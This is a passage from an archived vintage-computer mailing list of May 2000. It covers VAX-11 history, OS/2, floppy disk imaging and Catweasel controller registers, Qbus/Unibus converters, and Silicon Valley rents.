they can pay the doubled rent, so be it. - John From wilson at dbit.dbit.com Sun May 28 10:58:30 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:05 2005 Subject: OS/2 In-Reply-To: <200005280926.FAA54448@bg-tc-ppp32.monmouth.com>; from pechter@pechter.dyndns.org on Sun, May 28, 2000 at 05:26:29AM -0400 References: <24.589b81f.2660a405@aol.com> <200005280926.FAA54448@bg-tc-ppp32.monmouth.com> Message-ID: <20000528115830.A8766@dbit.dbit.com> On Sun, May 28, 2000 at 05:26:29AM -0400, Bill Pechter wrote: >I think the info is up on hobbes. I bought Warp4 and stuff... but I >don't think I'm tossing IBM any more money for the final client packages >if they're not going to continue to support it past Dec. IBM really seems to have an attitude this time around. A customer of mine that was thinking of switching to OS/2 got a variety of stories from IBM, but the one thing they really pushed was their "Total Content Ownership" (???) scam. The way that works is, you get whatever version is shipping right now, and they freeze it. Then you pay through the nose for support, *forever*, and they say they'll fix whatever bugs crop up in that version only, just for you. If they release new versions in the mean time, you don't get 'em, and you don't *ever* get any feature upgrades, just fixes for bugs you find yourself. I can't imagine how they thought customers would like this idea!!! >I would've bought Warp 5 with the new IP stack and the Logical Volume >Manager if they would have made it available in a client edition at a >reasonable price. The LVM is EEEEEEEVIL!!!! I really don't like it, the "sticky" drive letter assignments are particularly annoying if you're swapping disks around (our boxes have hot-swappable disks, obviously we don't expect the hot-swapping to work, but we were moving drives a lot between boots to copy big files around, and LVM really mixes things up when you do that). And the LVM is the only thing that knows how to read its own partition table, so it's easy for it to get out of sync with the normal FDISK partitions if you have other OSes around. We couldn't figure out what advantage the LVM was supposed to be giving us, it was just one more configuration headache. John Wilson D Bit From marvin at rain.org Sun May 28 11:54:54 2000 From: marvin at rain.org (Marvin) Date: Sun Feb 27 18:52:06 2005 Subject: Digital CompacTape cartridge References: <24.589b81f.2660a405@aol.com> <200005280926.FAA54448@bg-tc-ppp32.monmouth.com> <20000528115830.A8766@dbit.dbit.com> Message-ID: <39314F5E.94EC93CB@rain.org> While at TRW, I ran across this Digital CompacTape cartridge for $1.00 and picked it up. I have no way to check it out but the case looks like it wasn't abused. Anyone interested for $1.00 + $3.20 Priority Mail shipping? From rexstout at uswest.net Sun May 28 14:24:43 2000 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff Message-ID: What fun! I got a book called "VAX-11 Assembly Language Programming." What's a VAX-11? And I also ended up with yet another printer, an older wedge-shaped C-64 with a 1541 drive, and lots of programming stuff for the C64. HesMon, HesKit, Pascal, Forth, and a pile of assembly stuff. Eventually I get around to putting it all together and try to program it, but right now I don't have the room or the time(damn! college is hard...). -- /--------------------------------------------------\ | http://jrollins.tripod.com/ rexstout@uswest.net | | list admin for orham and ham-mac at www.qth.net | | KD7BCY pdxham at www.egroups.com | \--------------------------------------------------/ From healyzh at aracnet.com Sun May 28 14:38:42 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: Message-ID: >What fun! I got a book called "VAX-11 Assembly Language Programming." >What's a VAX-11? VAX-11/780 VAX-11/750 VAX-11/730 VAX-11/725 etc. Basically it should be good for just about any VAX. Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From mcguire at neurotica.com Sun May 28 14:42:39 2000 From: mcguire at neurotica.com (Dave McGuire) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: VAX-11? and some C64 stuff (John Rollins) References: Message-ID: <14641.30383.845247.724597@phaduka.neurotica.com> On May 28, John Rollins wrote: > What fun! I got a book called "VAX-11 Assembly Language Programming." > What's a VAX-11? The first few VAXen were the VAX-11 family. The first was the VAX-11/780, then (in no particular order) the VAX-11/750, the /730, /725, /782, and /785. Of course I'm assuming you know what a VAX is in the more generic sense... -Dave McGuire From sethm at loomcom.com Sun May 28 14:49:08 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: ; from rexstout@uswest.net on Sun, May 28, 2000 at 12:24:43PM -0700 References: Message-ID: <20000528124908.A788@loomcom.com> On Sun, May 28, 2000 at 12:24:43PM -0700, John Rollins wrote: > What fun! I got a book called "VAX-11 Assembly Language Programming." > What's a VAX-11? "The" original VAX. The original model of the VAX announced in 1977 was called the VAX-11/780, followed by various configurations (11/782=Dual CPU version; 11/784=Quad CPU version). There was also a much smaller, slower, cheaper version later called the VAX-11/750. They were in some ways meant to be 32-bit versions of the PDP-11 processor, with lots of "extras". The VAX-11's had PDP-11 compatibility modes, in fact, to ease the transition to 32 bit. Of course, PDP-11s lived on for many years after the VAX was introduced, but a lot of people are still sore over the way DEC killed off (or allowed to be killed off?) their 36-bit line (PDP-10) in favor of the VAX. -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From jimw at agora.rdrop.com Sun May 28 15:06:19 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:06 2005 Subject: Documenting how old computers were used In-Reply-To: References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <3.0.3.32.20000528130619.009bdcf0@agora.rdrop.com> At 06:48 PM 5/26/00 -0700, you wrote: >On Fri, 26 May 2000, Mark Gregory wrote: > >> It seems to me that increasingly, social historians and museums are more >> interested in _how_ an artifact was used than in the thing itself. But >> often , especially when I receive multiple examples of the same system, I >> mix and match parts and programs to suit myself, and lose track of which >> disk drive came with which CPU, which software was originally installed on >> each, etc. Information is obviously being lost here. >> >> I'd be interested to know what other list members are doing, and how >> important you think the information being lost is. > >In fact, this is a subject I have been thinking about recently and I'm >hoping to commission a talk for the next VCF. Any takers? Hmmm... that starts to sound interesting... Perhaps a topic. -jim BTW: (unmerciful ping) Talked to Dag lately? B^} --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From mark_k at iname.com Sun May 28 17:38:55 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:52:06 2005 Subject: Defining Disk Image Dump Standard Message-ID: On Fri, 26 May 2000 Vintage Computer GAWD! wrote: > On Fri, 26 May 2000, John Foust wrote: > > > Below is the section from the manual that describes their > > file format. > > > > Each sector written to the file is optionally preceded by an > > 8-byte header record of the following form: > > > > > > +------+------+------+------+------+------+----------+ > > | ACYL | ASID | LCYL | LSID | LSEC | LLEN | COUNT | > > +------+------+------+------+------+------+----------+ > > > > ACYL Actual cylinder, 1 byte > > ASID Actual side, 1 byte > > LCYL Logical cylinder; cylinder as read, 1 byte > > LSID Logical side; or side as read, 1 byte > > LSEC Sector number as read, 1 byte > > LLEN Length code as read, 1 byte > > COUNT Byte count of data to follow, 2 bytes. If zero, > > no data is contained in this sector. > > > > All sectors occurring on a side will be grouped together; > > however, they will appear in the same order as they occurred on > > the diskette. Therefore, if an 8 sector-per-track diskette were > > scanned which had a physical interleave of 2:1, the sectors might > > appear in the order 1,5,2,6,3,7,4,8 in the DOS dump file. > > > > After the last specified cylinder has been written to the DOS > > file, AnaDisk returns to the Main Menu. > > This is a good start. The header should include a byte that contains a > flag indicating the status of the sector (good, bad, etc). This seems rather "high level" if you are wanting to preserve the exact disk contents. Though it may be all you can do using a standard PC floppy controller. > What about odd formats? I take my experience from the Apple ][. You had > stuff like half-tracks and quarter-tracks (the head was stepped half-way > or half of half-way between tracks to store data), odd disk formats > (custom sector sizes, custom sector layouts, etc.), synchronization > between tracks (one copy protection scheme was to write a two tracks so > that if a seek was done from one track to the other, a specific sector > would be expected under the head as soon as it got to the next track). I would like to be proved wrong, but there is no way to account for every possible strange thing that could be done in terms of custom formats, copy-protection etc., at least in a high level file format that doesn't just sample the bits coming from the disk. It would be possible to construct a device for archiving disks at a very low level. I guess this would be similar to commercial floppy disk duplicators, except writing data to a file instead of another floppy. The bit stream from the disk would be sampled at a very high rate to allow for various tricks that could be done. Or by modifying a floppy drive, the analogue signal from the read head could be sampled. Tricks like "pulsing" the drive motor during a write to vary rotation rate, changing the data rate mid-write (e.g. 2us vs 4us per bit cell), changing precompensation values mid write, using custom non-MFM-or-GCR coding methods, reducing drive motor speed for some tracks (thus writing long tracks which cannot be duplicated on an unmodified drive/computer),... [Long tracks are a common form of copy-protection on Amiga games.] Such a low-level dump of raw data would at least preserve all (or almost all) information on the disk. Successfully writing an exact duplicate back to another floppy would depend on the capabilities of your disk controller. Still, such as image file could be easily supported by emulators. Also bad sectors would be preserved, meaning that recovery of most of the data from them would be possible. > The AnaDisk software doesn't seem to accomodate copy protected or > custom-format disks. The standard will have to address these disks as > well. You may know that Amiga computers have very flexible floppy controller hardware. There are several programs on the Amiga that are intended to image/archive disks at a low level. These read the raw bits from an entire track in one pass, and store that (from index to index, plus some). This is independent of the coding method used (MFM, GCR or whatever), and of course preserves sector order, distance between sectors etc. It should be possible to successfully archive almost any PC floppy disk that way, protected or not. I don't have many copy-protected PC floppies. Was any famously "evil" type of disk-based copy-protection used for PC software? I would quite like to try making a working backup of a disk like this. The Catweasel disk controller hardware (available as an ISA card for PCs) is capable of similar things. However due to its developer (stupidly IMO) refusing to release details on how to program it directly, this would be of no use; you're stuck with the provided drivers which are apparently pretty poor. -- Mark From mark_k at iname.com Sun May 28 17:40:39 2000 From: mark_k at iname.com (Mark) Date: Sun Feb 27 18:52:06 2005 Subject: Sun type 4 & 5 keyboards FS in UK Message-ID: Hi, I have several Sun Type 4 and Type 5 keyboards. Since I don't currently have any Sun hardware to test these with, I cannot say for sure whether they work. However they are in good physical condition, and I'll give a refund if they are DOA. Is 5 pounds each too much to ask for this sort of thing? -- Mark From rexstout at uswest.net Sun May 28 17:43:05 2000 From: rexstout at uswest.net (John Rollins) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <14641.30383.845247.724597@phaduka.neurotica.com> References: <14641.30383.845247.724597@phaduka.neurotica.com> Message-ID: >Of course I'm assuming you know what a VAX is in the more generic >sense... Not really... I don't know much about the VAX models(or much of anything from DEC for the matter, besides knowing I have a terminal and an 11/84 in the basement). I probably would have recognized a reference to a 750 or 780, but just plain VAX-11 threw me off. Well, now I'm hooked. Anyone know of a good web site with some basic info on the VAX computers? -- /--------------------------------------------------\ | http://jrollins.tripod.com/ rexstout@uswest.net | | list admin for orham and ham-mac at www.qth.net | | KD7BCY pdxham at www.egroups.com | \--------------------------------------------------/ From wilson at dbit.dbit.com Sun May 28 18:42:39 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:06 2005 Subject: Defining Disk Image Dump Standard In-Reply-To: ; from mark_k@iname.com on Sun, May 28, 2000 at 10:38:55PM +0000 References: Message-ID: <20000528194239.A9878@dbit.dbit.com> On Sun, May 28, 2000 at 10:38:55PM +0000, Mark wrote: >The Catweasel disk controller hardware (available as an ISA card for PCs) is >capable of similar things. However due to its developer (stupidly IMO) >refusing to release details on how to program it directly, this would be of >no use; you're stuck with the provided drivers which are apparently pretty >poor. I thought he had changed his mind about this? When I first talked to him he seemed pretty paranoid, but I think he eventually realized that there's not a big enough market for there to be even a point in stealing his idea and competing with him (although, I sure hope he's done a PCI version by the time ISA slots disappear entirely). I certainly remember that he softened his position about this, but I don't know if that turned into a manual. Then again, the CW/ISA board comes with no manual anyway! Anyway I sorted out a lot of the Catweasel/ISA details, from disassembly and the few sources that were available when I was doing it, it might be enough to write a driver (I've gotten stuck with my own work on RX01 and RX23 style drivers, I can read data enough of the time to think I'm really close but it works less than half the time). Here's what I've worked out on the I/O ports (default base is 320h): base+0 autoincrementing memory I/O port (reads/writes next byte from buffer) base+1 read (and ignore value) to clear address counter write 0 (or any value?) to stop I/O (w/o touching addr ctr) base+2 raw floppy disk control/status signals (N.B. IOR and IOW are two different regs) write: b7 MO1 (0=asserted) b6 ??? b5 DS0 (0=asserted) b4 DS1 (0=asserted) b3 MO0 (0=asserted) b2 HEAD (1=head 0, 0=head 1 b1 DIR (1=out, 0=in) b0 STEP (1=asserted) read: b5 DSKCHG (0=asserted) b4 TK00 (0=asserted) ... don't know the others (INDEX is probably here too) base+3 MSB gives access to a shift register I think??? (selected by addr ctr to must touch base+0 to advance) seems to be config bits (you can read 16 bits, don't know if they're the same ones you write or just hard-wired version bits): index 0=0 to select high-speed clock index 2=0 to make index pulse not appear in data stream I forget why I think I know that, no idea about other bits (my code writes 0 to 0&2 and *almost* works) base+4 ??? base+5 write 0 (or any value???) to start writing to disk (?) base+6 ??? base+7 read to start reading from disk The board has a RAM which is indexed by the hidden counter (cleared when base+1 read), each IN or OUT to base+0 reads/writes a byte and increments the counter. The value stored in each byte is the amount of time (counted from a high-speed internal clock, I forget the data rate) between transitions on the head data. When reading, this value fits in 7 bits, I don't know how guaranteed that is (maybe they just assume that the transitions will always come soon enough), but the routines I looked at would enable reading for something a bit over one track time, and then write 80h to base+0 to mark the end of the track data (I guess it's the same address counter for both base+0 accesses and data written into RAM by the board itself), which the decoder routine would depend on. I haven't even tried to write a "write" routine yet, but IIRC the interval timer still counts up rather than down, so the durations stored in RAM have to be negated. Normally you rewrite the whole track, since the CW isn't too fancy about searching for sector headers (I think it's supposed to be able to find one of the System/34 marks but it's not a general-purpose feature, anyway I don't know how to trigger that). John Wilson D Bit From oliv555 at arrl.net Sun May 28 19:37:43 2000 From: oliv555 at arrl.net (Nick Oliviero) Date: Sun Feb 27 18:52:06 2005 Subject: Q-to-U translations Message-ID: <3931BBD7.A8DDC23D@arrl.net> Anyone on list familiar with the various Qbus/Unibus convertors that can help with this problem? Actually two, I'm trying to connect one Unibus expansion chassis to a Qbus host, PDP11/83. I've another Unibus chassis which I'd like to mate with a mVAX4100. I have the DEC M8217 and Able 10340 convertors but have not been able to find any documentation on either. Would either of these work or do I require a different product. I know Able made at least 4 of these variants. Able has not been very helpful in the past, general response going something like ...... we have a manual that may answer your question, its only $100.......... It just occured to me, I think the Able boards were meant to be plugged to the Qbus side, my situation requires a Unibus board, at least in the case of the 4100 project. Also, my 4100 manual completely glosses over its Qbus capability. Anyone know the p/n and or pinouts for the 4100 Qbus cable? Thanks in advance for any suggestions Nick From sethm at loomcom.com Sun May 28 20:41:37 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: ; from rexstout@uswest.net on Sun, May 28, 2000 at 03:43:05PM -0700 References: <14641.30383.845247.724597@phaduka.neurotica.com> Message-ID: <20000528184137.A1285@loomcom.com> On Sun, May 28, 2000 at 03:43:05PM -0700, John Rollins wrote: > >Of course I'm assuming you know what a VAX is in the more generic > >sense... > Not really... I don't know much about the VAX models(or much of > anything from DEC for the matter, besides knowing I have a terminal > and an 11/84 in the basement). I probably would have recognized a > reference to a 750 or 780, but just plain VAX-11 threw me off. Well, > now I'm hooked. Anyone know of a good web site with some basic info > on the VAX computers? Right on! Another convert... I'm kind of a VAX addict myself, I've got several MicroVAXen and VAXstations strewn about the house running NetBSD or VMS. Goot links include: http://www.montagar.com/hobbyist/ (OpenVMS Hobbyist License Info) http://www.netbsd.org/Ports/vax/ (NetBSD VAX port info and links) http://world.std.com/~bdc/projects/vaxen/ (Brian Chase's "Planet VAX") http://www.netbsd.org/Library/Hardware/Machines/DEC/vax/ (A VAX hardware reference) http://www.montagar.com/~patj/freevms.htm (Kind of a cool "everything in one place" page by a VAX hacker) These are a good start. VAXen are cool. VAXen are neat. Now, if only I could get to use some DEC 36-bit equipment... -Seth -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From allisonp at world.std.com Sun May 28 20:21:47 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:06 2005 Subject: OS/2 Message-ID: <01ec01bfc90e$697147e0$7664c0d0@ajp166> >It's the APPS and the moving Win32s target they tried to support. >The killer was when MS made Office not run under OS/2. May have hurt the market but, no great loss. MS Office is another plague on the world. >OS/2 was slow -- glacial on the early 386's without a LOT of memory >16meg was VERY rare then). IBM used it internally (v2.11) on PS/2 25's >with 12-16mb. It was slow loading and glacial loading apps. Many >secretaries booted it with all their windows apps loaded so they didn't >have to wait for programs to load. They often ran Ami Pro v3.1 under win3.1 >since the Lotus Smartsuite was BEHIND the windows version for features. As a Win3.1 user it was no better on 386s and really didn't run usefully with less than 4mb and really wanted 8mb to behave well. >I'd bet they're switching to WinNT or Win9x (laptops) and going to >Microsoft Word for customer compatibility in a lot of cases. We were Win9x is a mess but can be made to work, WinNT4/workstation is better but you MUST be at SP4 or higher. It's the MS apps that are a pox on the world. ;-) Allison From danburrows at mindspring.com Sun May 28 23:09:26 2000 From: danburrows at mindspring.com (Daniel T. Burrows) Date: Sun Feb 27 18:52:06 2005 Subject: Q-to-U translations Message-ID: <003801bfc928$bc3555b0$a652e780@L166> If you can't find anything by next weekend contact me off list. I have a couple Qniverters at home with the docs. I can't recall the # offhand but I know they were used from a Qbus host to Unibus backplane. Dan -----Original Message----- From: Nick Oliviero To: classiccmp@classiccmp.org Date: Sunday, May 28, 2000 9:24 PM Subject: Q-to-U translations >Anyone on list familiar with the various Qbus/Unibus convertors >that can help with this problem? Actually two, I'm trying to connect >one Unibus expansion chassis to a Qbus host, PDP11/83. I've >another Unibus chassis which I'd like to mate with a mVAX4100. > >I have the DEC M8217 and Able 10340 convertors but have not >been able to find any documentation on either. Would either of >these work or do I require a different product. I know Able made >at least 4 of these variants. Able has not been very helpful in the >past, >general response going something like ...... we have a manual >that may answer your question, its only $100.......... > >It just occured to me, I think the Able boards were meant to be >plugged to the Qbus side, my situation requires a Unibus board, >at least in the case of the 4100 project. > >Also, my 4100 manual completely glosses over its Qbus capability. >Anyone know the p/n and or pinouts for the 4100 Qbus cable? > >Thanks in advance for any suggestions > > Nick From mrbill at mrbill.net Mon May 29 06:21:00 2000 From: mrbill at mrbill.net (Bill Bradford) Date: Sun Feb 27 18:52:06 2005 Subject: VAX emulator Message-ID: <20000529062100.X25040@mrbill.net> Check out www.charon-vax.com. Interesting - software VAX emulator for Windows NT / 2000. Bill -- +--------------------+-------------------+ | Bill Bradford | Austin, Texas | +--------------------+-------------------+ | mrbill@sunhelp.org | mrbill@mrbill.net | +--------------------+-------------------+ From Huw.Davies at kerberos.davies.net.au Mon May 29 06:54:20 2000 From: Huw.Davies at kerberos.davies.net.au (Huw Davies) Date: Sun Feb 27 18:52:06 2005 Subject: VAX-11? and some C64 stuff In-Reply-To: <20000528124908.A788@loomcom.com> References: Message-ID: <4.3.1.2.20000529215313.01e11220@kerberos.davies.net.au> At 12:49 PM 28-05-00 -0700, sjm wrote: >"The" original VAX. The original model of the VAX announced in >1977 was called the VAX-11/780, followed by various configurations >(11/782=Dual CPU version; 11/784=Quad CPU version). There was also >a much smaller, slower, cheaper version later called the VAX-11/750. Well that's the first time I've heard of an 11/784. More details would be interesting. I'm assuming that the MA780 had four ports rather than the two I'd assumed it had... Huw Davies | e-mail: Huw.Davies@kerberos.davies.net.au | "If God had wanted soccer played in the | air, the sky would be painted green" From jimw at agora.rdrop.com Mon May 29 12:51:24 2000 From: jimw at agora.rdrop.com (James Willing) Date: Sun Feb 27 18:52:06 2005 Subject: Documenting how old computers were used In-Reply-To: <3.0.3.32.20000528130619.009bdcf0@agora.rdrop.com> References: <004e01bfc732$4fad1a60$0200a8c0@marvin> Message-ID: <4.3.2.7.0.20000529105021.00cc1cc0@agora.rdrop.com> At 01:06 PM 5/28/00, you wrote: >At 06:48 PM 5/26/00 -0700, Sellam wrote: > >On Fri, 26 May 2000, Mark Gregory wrote: > > > >> It seems to me that increasingly, social historians and museums are more > >> interested in _how_ an artifact was used than in the thing itself... > > > >In fact, this is a subject I have been thinking about recently and I'm > >hoping to commission a talk for the next VCF. Any takers? > >Hmmm... that starts to sound interesting... Perhaps a topic. > >-jim Oopsie... that reply was intended for Sellam rather than the list... -jim --- jimw@computergarage.org The Computer Garage - http://www.computergarage.org Computer Garage Fax - (503) 646-0174 From Hans.Franke at mch20.sbs.de Mon May 29 13:13:29 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:06 2005 Subject: ASCII art In-Reply-To: <392CD27A.853F6C86@home.com> Message-ID: <3932CF69.12467.10AECB3@localhost> BTW: ASCII Art is still not dead - check http://slashdot.org/comments.pl?sid=00/05/29/1542223&threshold=0&commentsort=0&mode=thread&cid=39 cute, isn't it ? (Part of a thread about MS canceling eBay Auctions: http://slashdot.org/article.pl?sid=00/05/29/1542223&mode=thread (be aware, huge page)) Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From Hans.Franke at mch20.sbs.de Mon May 29 14:18:33 2000 From: Hans.Franke at mch20.sbs.de (Hans Franke) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: References: <392F2A59.22311.BDD2264@localhost> Message-ID: <3932DEA9.8720.146821E@localhost> > > At the end of last month, Haltek Electronics, Mountain View, > > CA closed their doors. Not because they wanted to, nor because > > they didn't have a loyal following, but purely because of greed on > > the part of their jackass of a landlord. > > It seems that their lease was up for renewal. Their landlord, > > decided to get greedy, and wanted to at least double what they'd > > been paying for rent (maybe even 2.5 or triple... I'm not certain). > > Bruce. You don't live in the area here. You don't understand the reality > of the situation. In case you hadn't noticed, there is an economic boom > going on here unparalleled in the history of man (or so the economists > say, but at any rate, it's huge). The market for real estate in the > Silicon Valley, for better or worse, is skyrocketing. Property values > have shot up, along with rents. I still don't get the idea - Silicon Valey (Contra Coast, Alameda and Santa Clara), an area 4 times larger than Munich (City of Munich and Munich county) and just roughly the same population, and you're talking about skyrocketing prices ? maybe they should start to build something (preferable something other than highways). Well, anyway, beside all this there's still a question what impact this may have for our hobby, and future geek generations. Without some scrap dealer next door, it's hard to get in touch with usefull devices.... > Now, in a communist state, this landlord would indeed be a greedy jackass, > or worse! But here in the good old U.S. of A., he's a capitalist. Why > should he be expected to operate as a charity? Hmm - I'd rather prefer a constitutional state where everybody recives some protection by law .... :)) Gruss H. -- VCF Europa 2.0 am 28./29. April 2001 in Muenchen http://www.vintage.org/vcfe http://www.homecomputer.de/vcfe From mac at Wireless.Com Mon May 29 15:02:12 2000 From: mac at Wireless.Com (Mike Cheponis) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: <3932DEA9.8720.146821E@localhost> Message-ID: On Mon, 29 May 2000, Hans Franke wrote: > I still don't get the idea - Silicon Valley (Contra Coast, Alameda and > Santa Clara), an area 4 times larger than Munich (City of Munich and > Munich county) and just roughly the same population, and you're talking > about skyrocketing prices ? maybe they should start to build something > (preferable something other than highways). It would appear as if more people want to live in Silicon Valley than Munich. It's called "supply and demand". The average house in Silicon Valley costs $577,280 (Source: SJ Mercury News, 29 May 2000, page 7B). ( That's 1.216.791 DM at today's exchange rates, or 622.134,66 Euros. ) Commercial real estate has undergone similar escalation, with landlords now commonly asking for substantial percentages of stock in pre-IPO companies in addition to high rents. I know personally of a deal that fell through because the company that lost was unwilling to give approximately 1% of the outstanding stock to the landlord (in addition to the high rent); the "winning" company gave more stock+cash. If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make sense... But... -Mike From richard at idcomm.com Mon May 29 15:28:26 2000 From: richard at idcomm.com (Richard Erlacher) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... References: <392F2A59.22311.BDD2264@localhost> <3932DEA9.8720.146821E@localhost> Message-ID: <000701bfc9ac$72307740$0400c0a8@EAHOME> ----- Original Message ----- From: Hans Franke To: Sent: Monday, May 29, 2000 1:18 PM Subject: Re: A moment of silence... > > > At the end of last month, Haltek Electronics, Mountain View, > > > CA closed their doors. Not because they wanted to, nor because > > > they didn't have a loyal following, but purely because of greed on > > > the part of their jackass of a landlord. > > > > It seems that their lease was up for renewal. Their landlord, > > > decided to get greedy, and wanted to at least double what they'd > > > been paying for rent (maybe even 2.5 or triple... I'm not certain). > > > > Bruce. You don't live in the area here. You don't understand the reality > > of the situation. In case you hadn't noticed, there is an economic boom > > going on here unparalleled in the history of man (or so the economists > > say, but at any rate, it's huge). The market for real estate in the > > Silicon Valley, for better or worse, is skyrocketing. Property values > > have shot up, along with rents. > > I still don't get the idea - Silicon Valey (Contra Coast, Alameda and > Santa Clara), an area 4 times larger than Munich (City of Munich and > Munich county) and just roughly the same population, and you're talking > about skyrocketing prices ? maybe they should start to build something > (preferable something other than highways). > > Well, anyway, beside all this there's still a question what impact > this may have for our hobby, and future geek generations. Without > some scrap dealer next door, it's hard to get in touch with usefull > devices.... > > > Now, in a communist state, this landlord would indeed be a greedy jackass, > > or worse! But here in the good old U.S. of A., he's a capitalist. Why > > should he be expected to operate as a charity? > > Hmm - I'd rather prefer a constitutional state where everybody > receives some protection by law .... > Protection??? Protection from what? Protection from having the opportunity to own real estate (which fewer Germans than Americans do) as a hedge against inflation? It's no secret that when housing prices double, it's likely everything else doubles along the way as well, so that's just inflation. The fact that real estate rises in price as the population rises, is no mystery. Will Rogers said that it's always a good investment to buy a piece of the rock ... they don't make it any more. My last rental property, a 10-acre rural property, was continuously rented to the same tenants for 14 years, by my late ex-wife, BTW, but no matter. When I finally got them out of there, it cost me $13K to have the trash hauled off, the dirt hauled out of the house, and the premises, e.g. outbuildings, fences, etc, repaired and cleaned, aside from which I spent dozens of weekends on the premises making not-so-minor repairs to the house, barn, and lesser outbuildings, not to mention the seriously damaged water system(ruptured reservoir bladder, damaged wiring, worn-out pump) , which cost another $4K to repair. The rent had remained the same for 12 of the 13 years these tenants had occupied the place. I did have offers to rent it at a higher price, but felt it was not worth making the change by that time. The lesson: if you don't charge enough rent, the tenants will treat the property as though it's not worth anything. Corrolary: always charge the "going rate" regardless of what you need to get out the property. We had held the property as a "break-even" investment, planning to take our profit as long-term capital gain. As it turned out, though regional property values had more than doubled since we bought the property, the poor condition and obvious repairs, not to mention poorly maintained landscaping, made the property sell at a full 50% off the typical price of comparables in the area. I'm acquainted with a number of residential and commercial landlords and have yet to meet one who's making the kind of money that people seem to think landlords make. Most of them spend the little profit they make on their rental holdings on aspirin, antacids, whiskey, and prune juice, all the while hoping that the building's still standing when the lease expires. If I'm ever in the position to become a landlord, (God forbid!) I'll set the rent based on the market, the damage/security deposit at 2/3 the combined gross annual income of the tenants and demand both that plus first and last months' rent in cash on the date of signing of the lease. Now, what, exactly is it that you believe renters need to be protected from, Hans? > :)) > > Gruss > H. > > -- > VCF Europa 2.0 am 28./29. April 2001 in Muenchen > http://www.vintage.org/vcfe > http://www.homecomputer.de/vcfe > From sethm at loomcom.com Mon May 29 15:47:33 2000 From: sethm at loomcom.com (sjm) Date: Sun Feb 27 18:52:06 2005 Subject: A moment of silence... In-Reply-To: ; from mac@Wireless.Com on Mon, May 29, 2000 at 01:02:12PM -0700 References: <3932DEA9.8720.146821E@localhost> Message-ID: <20000529134733.A824@loomcom.com> On Mon, May 29, 2000 at 01:02:12PM -0700, Mike Cheponis wrote: > > If Silicon Valley weren't Paradise (esp. for geeks), it wouldn't make > sense... But... Actually, I mainly live here for the weather now. I've noticed the quality of life in the area plunging faster than an Alaska Airlines jet, and I'm more and more seriously looking around at other options. I love the Bay Area. I was born in San Francisco, I really consider this place home despite my family roots in New England (which is just too hot in the summer, and too cold in the winter). But unless there's a very serious housing market crash (and believe me, I wish for one daily) I'm going to have to get out of this area if I actually want to buy a house that doesn't suck. It's fine for people who've owned a house in the area for more than a few years, but for someone like me who's never owned a home, the barrier to entry is far too high (even making a rediculously inflated salary, as I think I do). Right now I can afford a very small one bedroom condo in a fairly questionable area -- IF I can find one that doesn't get bid out of my price range by competitors who want it more than I do. Or, I can afford a four bedroom home in the nicest suburb of Columbus, Ohio. (Yes, I realise Columbus Ohio fails my weather test. Otherwise, I'd be there :) So, I love living here, and I hate living here. For now I'll keep renting (provided I can continue to find places to rent that I can afford) but if the current trends continue for more than another year, I'm very much _out_ of here. > -Mike -Seth P.S. - I did a quick survey of friends, and friends of friends, to see if I know anyone who's actually made it rich by being a Silicon Valley geek. Out of the big network of people we came up with, we were able to find a friend of a friend of a friend who supposedly cashed in his company stock options and got just over a million dollars out of it (the report is unsubstantiated so far). But, of the rest of us, noone's made a dime from options. In fact, some of us have been screwed because of tax rules governing options, and companies trading below their IPO price. So, I definitely don't buy the "Geeks Get Rich in Silicon Valley!" argument. Maybe 1% do, maybe 2% at the outside -- better odds than the Lottery, to be sure, but hardly worth screwing yourself over by working at a go-nowhere work-until-you-drop Startup company. The collective editors of "Fast Company" and "Upside" can shove their trendy media rags up their collective spotty behinds. -- "As a general rule, the man in the habit of murdering | Seth Morabito bookbinders, though he performs a distinct service | sethm@loomcom.com to society, only wastes his own time and takes no | personal advantage." -- Kenneth Grahame (1898) | Perth ==> * From transit at lerctr.org Mon May 29 16:23:38 2000 From: transit at lerctr.org (Charles P. Hobbs (SoCalTip)) Date: Sun Feb 27 18:52:06 2005 Subject: Atari 800 keyboards In-Reply-To: <20000529134733.A824@loomcom.com> Message-ID: I fired up my old Atari 800 this weekend, and it seems to work ok, except the keyboard is extremely flakey (some of the keys don't work too well unless you press really hard, and a few don't work at all). Any ideas? From peter at joules.org Mon May 29 16:01:56 2000 From: peter at joules.org (Peter Joules) Date: Sun Feb 27 